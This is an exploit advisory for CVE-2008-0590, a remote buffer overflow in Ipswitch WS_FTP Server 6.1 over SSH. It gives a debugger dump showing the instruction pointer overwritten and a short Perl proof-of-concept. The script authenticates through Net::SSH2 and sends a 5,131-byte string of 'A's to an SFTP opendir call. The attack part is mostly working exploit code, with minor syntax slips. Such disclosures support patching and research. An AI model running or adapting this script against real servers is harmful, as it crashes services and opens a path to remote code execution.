Topic:	IpSwitch WS_FTPSERVER with SSH remote Buffer Overflow
Credit:	securfrog
Date:	2008.02.05
CWE:	CWE-119 (Show similar)
CVE:	CVE-2008-0590 (Show details) Use CVE to see details like: - CVSS2, - Affected Software, - References

#IpSwitch WS_FTPSERVER with SSH remote Buffer Overflow

#

# Website:http://www.wsftp.com/products/ws_ftp_server/

#

# Version:6.1.0.0 ( last one,others might be vuln too )

#

# Bug: Remote Buffer Overflow ( CD)

#

# (8e8.a78): Access violation - code c0000005 (first chance)

# First chance exceptions are reported before any exception handling.

# This exception may be expected and handled.

# eax=00000000 ebx=00000000 ecx=00410041 edx=7c9137d8 esi=00000000 edi=00000000

# eip=00410041 esp=04b8c830 ebp=04b8c850 iopl=0 nv up ei pl zr na po nc

# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246

# 00410041 ?? ???

#

#

#Here's the PoC :

use strict;

use Net::SSH2;

my $ip="127.0.0.1";

my $port=22;

my $user="USERNAME";

my $pass="PASSWORD";

my $ssh2 = Net::SSH2->new();

my $payload ="A" x 5131;

$ssh2->connect($ip, $port) || die "could not connect";

$ssh2->auth_password($user,$pass)|| die "wrong passwd/login";

print "Poc running ...n";

my $sftp = $ssh2->sftp

my $dir = $sftp->opendir($payload);

print "Buffer Overflow Successfulln";

$ssh2->disconnect();

exit;